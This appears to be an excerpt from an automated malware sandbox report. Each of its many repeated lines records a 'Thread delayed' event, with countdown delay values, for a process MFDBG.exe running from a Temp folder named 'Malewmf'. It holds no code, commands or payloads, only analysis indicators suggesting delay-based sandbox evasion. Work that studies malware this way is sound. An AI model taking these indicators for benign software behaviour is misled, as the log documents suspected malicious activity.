Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585196	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584826	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584609	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584412	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584032	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583827	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582532	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582363	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582174	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582012	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581395	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580820	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580245	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579593	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579421	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579023	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577425	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577231	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577086	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576976	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576704	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576184	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575730	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575087	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574667	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574444	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573762	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573373	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573193	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572276	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572059	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571907	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571733	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571577	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571249	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571022	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570837	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570661	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570478	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570157	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569096	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568873	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568684	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568454	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568256	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567320	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567147	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566907	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566680	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566467	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566295	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565419	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565213	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564426	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564032	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563598	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561640	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561442	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561123	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560909	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560714	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560498	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559897	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559716	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558753	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558593	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558436	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558091	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557266	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557044	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556655	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556455	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556286	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555956	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555549	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554674	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554442	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554224	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552782	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552420	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552261	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551900	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551702	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551032	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550372	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549022	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548063	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547771	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547296	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546704	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546528	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546079	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545293	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545061	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 544797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 544391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543636	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543407	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542704	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541349	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541154	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540916	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540700	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539974	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539586	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538728	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538538	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538117	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537933	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537708	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537120	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536958	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536780	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536581	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536421	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535987	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535573	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535242	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534888	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534454	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533897	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533514	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533357	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 533125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532916	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532754	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532204	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 532014	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531854	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531317	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531158	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 531000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530270	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 530094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529931	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529576	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529458	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529275	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529138	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 529000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528782	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 528391	Jump to behavior
